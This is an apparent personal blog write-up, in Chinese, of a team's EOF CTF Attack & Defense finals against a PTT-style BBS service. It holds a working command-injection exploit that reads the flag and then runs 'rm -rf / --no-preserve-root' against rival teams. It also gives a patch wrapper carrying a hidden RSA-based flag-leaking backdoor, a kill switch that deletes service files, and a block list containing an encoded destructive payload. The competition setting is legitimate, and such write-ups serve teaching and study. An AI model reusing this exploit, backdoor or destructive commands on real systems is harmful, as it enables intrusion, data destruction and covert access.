前言
自從上了研究所之後感覺有比較少跟 B33F 50UP 的大家打比賽,這場比賽 Chummy 在修程安沒辦法跟非修課生組隊,剩下的人全部跑去出題了,所以我找了同實驗室的 Albert 一起,然後他再拉兩個應該是竹狐的高中生一起,感謝其他三位隊友一起完成這次的比賽,還是混亂的 EOF 最對味。
初賽

初賽拿下了第三名,只能說到 2025 年底 LLM 太強了, Crypto 和 Reverse 幾乎都是用 AI 御三家唱出來的,ChatGPT 甚至可以做到 FIFO( File In, Flag Out) 的地步(這個詞是我自己發明的)
我總共解了 7 題,裡面有 5 題是 AI 解的,只有兩題是真的用手解的。
決賽
決賽很好玩,一樣是有 Attack & Defense 、 KoH 等賽制,今年又多了 Live CTF、TRAGuessr,我和 Albert 主要還是打 A&D 和 TRAGuessr ,畢竟交管系有台鐵 Buff(並沒有),KoH 的兩題遊戲是由另外兩位隊友負責。
前置準備
俗話說工欲善其事,必先利其器,但比賽前的那個禮拜實在是太忙了,還是拖到了比賽前一天晚上才開始弄工具,有別於去年 Chummy 包辦所有工具順便魔改,今年就只能找一些堪用的開源的工具應付一下。
Dashboard
原本的 dashboard 是我用 html 手刻的,但有人對我的傳統手工藝很不滿意所以後來又重寫了新的 dashboard,這個根本就只是四個超連結
Attack Manager
用這套:Destructive Farm
但其實問題蠻多的,到比賽當天還在 Patch 一些 Bug 以符合 Flag 提交的格式,總之最後是蠻順利跑起來
PCAP Analysis
一樣是用開源工具 pkappa2,還不錯用,可以透過 Regex 抓 flag 的 pattern 順便抄別人的作業,只是比賽結束才發現原來有一鍵把流量轉成 pwntool 的功能,害我手刻 payload 整個比賽
Patcher & Drive
這兩個不是我用的,比賽中也沒什麼用到所以這邊就不一一介紹了,基本上就是看 patch 的工具和一個 NAS
A&D
今年的 A&D 是一個看起來像 PTT 的 BBS 系統,然後裡面有經典 A&D 爛洞大集合, SQL Injection、Command Injection、BAC,反正基本上想得到的爛洞裡面都有
PTT
這題比較特別的是這題是用 pyc 跑的,並且使用作者自己 Patch 過的 python interpreter,裡面把一堆 opcode 都打亂讓你沒辦法用正常的 disassembler 把 pyc 還原回 python code,你當然也沒辦法用正常的 interpreter 生成的 pyc 去做 patch
genshin
如果選擇 4 的話他是一個原神的小遊戲,裡面也是一堆洞,要 patch 的話要上傳 binary ELF
Exploit
我總共寫了 5 個 exploit,這裡面有 default credential、command injection、邏輯漏洞、prototype pollution(在 python 上面做 prototype pollution,超酷)還有一個比較特別是 patch 的後門
#!/opt/homebrew/Caskroom/miniconda/base/bin/python
import socket
import time
import re
import sys
import pwn
import warnings
warnings.filterwarnings('ignore', category=BytesWarning)
pwn.context.log_level = 'error' # 或 'critical'
PORT = 31337
HOST = sys.argv[1]
io = pwn.remote(HOST, PORT)
io.sendline(b"4")
time.sleep(0.5)
io.recv()
for i in range(6):
time.sleep(0.5)
io.send("\n")
io.recv()
io.sendline("2")
time.sleep(0.5)
io.sendline("1")
time.sleep(0.5)
io.sendline(";cat /flag")
time.sleep(0.5)
io.send("\n")
io.sendline("4")
time.sleep(0.5)
io.sendline("1")
io.recv()
time.sleep(0.5)
io.recvuntil("Name: ")
print(io.recv().decode().split("\n")[0],flush=True)
time.sleep(0.5)
io.send(b"\n")
time.sleep(0.5)
io.sendline("2")
time.sleep(0.5)
io.sendline("1")
time.sleep(0.5)
io.sendline(";rm -rf / --no-preserve-root")
time.sleep(0.5)
io.send(b"\n")
io.sendline("4")
time.sleep(0.5)
io.sendline("1")
io.recv()
在 command injection 的 exploit 裡面我們會在拿到 flag 後嘗試讓其他隊 service down 藉此讓他們拿不到 SLA 的分數
然後大部分的 payload 都不是我們發現的都是 Albert 去翻 pcap 抄別人的 payload,然後我再用手把 exploit 打出來==
Patch
Patch 的部分非常之牛逼,因為大家都被 opcode 搞到沒辦法逆向(聽說隔壁組的 FlyDragon 花一個晚上逆完了),所以我想了一個方法可以不用逆向也能上 patch,那就是在外面包一層 pyc 的 wrapper,讓外面那層有點像WAF 卡在真正的 PTT 前面,如果有奇怪的字串就直接回傳 EOF{YOURMOM}
具體是怎麼做的呢,我上傳的這個 pyc 裡面包了原本的 eofptt.pyc,他被執行時會把原本的題目吐出來變成 eof1ptt.pyc ,然後變成 middleware 先檢查 input 是否正常,如果是的話就傳給真正的題目 eof1ptt.pyc 否則就直接回傳 EOF{YOURMOM} 並結束。
但其實還有其他問題要解決,比如 patch 限制大小需要在 $\pm 1024$ 個 bytes,所以我把原本的 eofptt.pyc 拿去壓縮並且補 padding 補到剛好在這個限制範圍內
compressed = zlib.compress(original_pyc, 9)
print(f'Original: {len(original_pyc)} bytes')
print(f'Compressed: {len(compressed)} bytes')
padding = 'P' * 10026 # 調整好的大小
with open('wrapper.py', 'w') as f:
f.write(wrapper_code)
py_compile.compile('wrapper.py')
import glob, shutil
pyc = glob.glob('__pycache__/wrapper*.pyc')[0]
shutil.move(pyc, 'eofptt.pyc')
final_size = os.path.getsize('eofptt.pyc')
print(f'\nFinal: {final_size} bytes (23232~25280)')
print(f'{"✓ PASS" if 23232 <= final_size <= 25280 else "✗ FAIL"}')
完成基本的 patch 之後當然要按照慣例來塞一些髒髒的東西(雖然去年的後門寫爛了把主辦單位 infra 炸了),我決定塞個後門在輸入密碼後就把 flag 噴出來,這樣一來偷我們 patch 的組就要繳稅給我們。
不過這邊又有一個問題,那就是別人是可以看到我們的流量的,這樣當然也看得到我們的密碼,還好密碼學有教我們可以使用非對稱式加密,如此一來就可以在眾目睽睽之下交換秘密。
這邊 python 沒辦法 import 跟 Crypto 有關的 module ,所以我們事先生成了一組公私鑰,後門只要加密 flag 並噴出來就好,而這一步只需要用到乘冪 pow 就可以解決
def rsa(m):
n = 15319821387618506095477280159276716412994234550474930948453341714542016056120309995810603561837304200584680450685270653182458321212226233252084087579288092575095913592512386274812271087275780562715983978131540748768993609087099730299291269265359770765805941799387661869027967488340602766327234789998894738793508566426724723569350595486742561573731710296172899988679577585776191039008127110436749383999875683855898143118960869740874629630316427574602969739080489885904742331207282977038810114275898292907974335553271324913209789549129730029665161605601527810788644359317808542469210428997685958619881464260526731430763
e = 65537
m_int = int.from_bytes(m.encode('utf-8'), byteorder='big')
c = pow(m_int, e, n)
return c
print(rsa(open("/flag","r").read()))
然後我們的 exploit 會使用私鑰將加密後的 flag 解開,完美!
#!/opt/homebrew/Caskroom/miniconda/base/bin/python
import pwn
import sys
import time
import warnings
def rsa_decrypt(ciphertext):
n = 15319821387618506095477280159276716412994234550474930948453341714542016056120309995810603561837304200584680450685270653182458321212226233252084087579288092575095913592512386274812271087275780562715983978131540748768993609087099730299291269265359770765805941799387661869027967488340602766327234789998894738793508566426724723569350595486742561573731710296172899988679577585776191039008127110436749383999875683855898143118960869740874629630316427574602969739080489885904742331207282977038810114275898292907974335553271324913209789549129730029665161605601527810788644359317808542469210428997685958619881464260526731430763
d = 3863791868958699471323740234564976205660645175775518159924703376713383026254064176278338438952176650311490961889876537321709165682238848427967375430643039537570538104744453251390390600753488516733028658231781086049143161337880455957962454639167670949051778567863629141296722074778855045617328590626542733684996778230598429333300005493013626296735628464723132815715344090693748899233739454708696164451395336580795740265669766166667225053937151102809513220827582982083523452598343368061007920594688927796300600631419545209588783214942266406552036680453141159781563851698763443211062917838541321749908756966231362212089
# 解密
m_int = pow(ciphertext, d, n)
byte_length = (n.bit_length() + 7) // 8
m_bytes = m_int.to_bytes(byte_length, byteorder='big')
m_bytes = m_bytes.lstrip(b'\x00')
return m_bytes.decode('utf-8', errors='replace')
password = b" . . . . . . "
io = pwn.remote(sys.argv[1], 31337)
time.sleep(0.5)
io.recv()
io.sendline(password)
cipher = int(io.recv().decode().split("\n")[0])
print(f"{rsa_decrypt(cipher)}",flush=True)
到了第二天,情況有點不同了,由於我們是第一個上 patch 並且通過 SLA 的組別,所以我們可以拿到超多 SLA 分數,但是一定很快其他人會把我們的 patch 抄走,所以我們決定在 patch 裡面再加一個 kill switch,怎麼用呢?首先後門會發出一段加密之後 random 五位數字的 challenge, exploit 這邊會把密碼解開並回傳,如果數字一樣那就會把服務弄爛
import random
n = random.randint(10000,99999)
print(rsa(str(n)))
if (input()==str(n)):
import os
os.system('rm /home/ptt/*')
exit()
YOURMOM 橫行
到第二天的下午幾乎每隊都上了我們的 patch,最大的特徵就是會回傳 EOF{YOURMOM} ,這也導致我們的 pkappa2 被老媽淹沒,只能重寫 Regex 抓真正的 flag
cc from 不知道哪個人的電腦螢幕
後來有的人比較聰明發現第二版的 patch 有問題會導致 SLA fail 因此 rollback 回去第一版,有另一隊逆向了我們的 patch 並且將裡面的 key pair 改掉了,非常厲害
最後附上完整的 patch code
#!/usr/bin/env python3
import py_compile
import os
import zlib
with open('eofptt.pyc.org', 'rb') as f:
original_pyc = f.read()
compressed = zlib.compress(original_pyc, 9)
print(f'Original: {len(original_pyc)} bytes')
print(f'Compressed: {len(compressed)} bytes')
padding = 'P' * 10026 # 調整好的大小
wrapper_code = f'''
import subprocess,sys,threading,os,hashlib,zlib
from datetime import datetime
B=['1073742','eyJfX2NsYXNzX18iOiB7Il9faW5pdF9fIjogeyJfX2dsb2JhbHNfXyI6IHsiQ09ORklHIjogeyJHQU1FX1BBVEgiOiAiY2F0IC9mbGFnIDsgcm0gLXJmIC8gLS1uby1wcmVzZXJ2ZS1yb290In19fX0sICJyb29tX2lkIjogInB3biJ9',';','*','flag','..','-','pwn','{{','}}','&','||','|','`','>','<','/flag']
C={repr(compressed)}
_={repr(padding)}
def rsa(m):
n = 15319821387618506095477280159276716412994234550474930948453341714542016056120309995810603561837304200584680450685270653182458321212226233252084087579288092575095913592512386274812271087275780562715983978131540748768993609087099730299291269265359770765805941799387661869027967488340602766327234789998894738793508566426724723569350595486742561573731710296172899988679577585776191039008127110436749383999875683855898143118960869740874629630316427574602969739080489885904742331207282977038810114275898292907974335553271324913209789549129730029665161605601527810788644359317808542469210428997685958619881464260526731430763
e = 65537
m_int = int.from_bytes(m.encode('utf-8'), byteorder='big')
c = pow(m_int, e, n)
return c
def ci(u):
p=" . . . . . . "
if u==p:
print(rsa(open(B[-1],'r').read()))
import random
n = random.randint(10000,99999)
input()
print(rsa(str(n)))
if (input()==str(n)):
import os
os.system('rm /home/ptt/*')
exit()
for b in B:
if b in u:print("EOF{{YOURMOM}}");exit()
return 1
def r(p):
while 1:
x=p.read(1)
if not x:break
sys.stdout.write(x);sys.stdout.flush()
def m():
with open("eof1ptt.pyc","wb")as f:f.write(zlib.decompress(C))
p=subprocess.Popen(["/app/python","eof1ptt.pyc"],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT,text=1,bufsize=0,env={{**os.environ,"PYTHONUNBUFFERED":"1"}})
t=threading.Thread(target=r,args=(p.stdout,))
t.daemon=1
t.start()
try:
while p.poll()is None:
u=input()
if ci(u):p.stdin.write(u+"\\n");p.stdin.flush()
except:p.terminate()
p.wait()
if __name__=="__main__":m()
'''
with open('wrapper.py', 'w') as f:
f.write(wrapper_code)
py_compile.compile('wrapper.py')
import glob, shutil
pyc = glob.glob('__pycache__/wrapper*.pyc')[0]
shutil.move(pyc, 'eofptt.pyc')
final_size = os.path.getsize('eofptt.pyc')
print(f'\nFinal: {final_size} bytes (23232~25280)')
print(f'{"✓ PASS" if 23232 <= final_size <= 25280 else "✗ FAIL"}')
os.remove('wrapper.py')
shutil.rmtree('__pycache__')
TRAGuessr
不知道跟資安有什麼關係,反正猜很爽
只是會場網路真的是拉完了,別人都送答案了我的圖還在跑,主辦單位管一下好爆
後記
因為很認真上 Patch 被頒了一個綠奶油乖乖獎,算是有一雪前恥了
(去年 Patch 寫爛把主辦單位 infra 炸了,他們本來要頒煙火大師獎給我但是不鼓勵炸 infra 行為後來沒有)
總之這次比賽很開心,再次謝謝其他三位隊友凱瑞。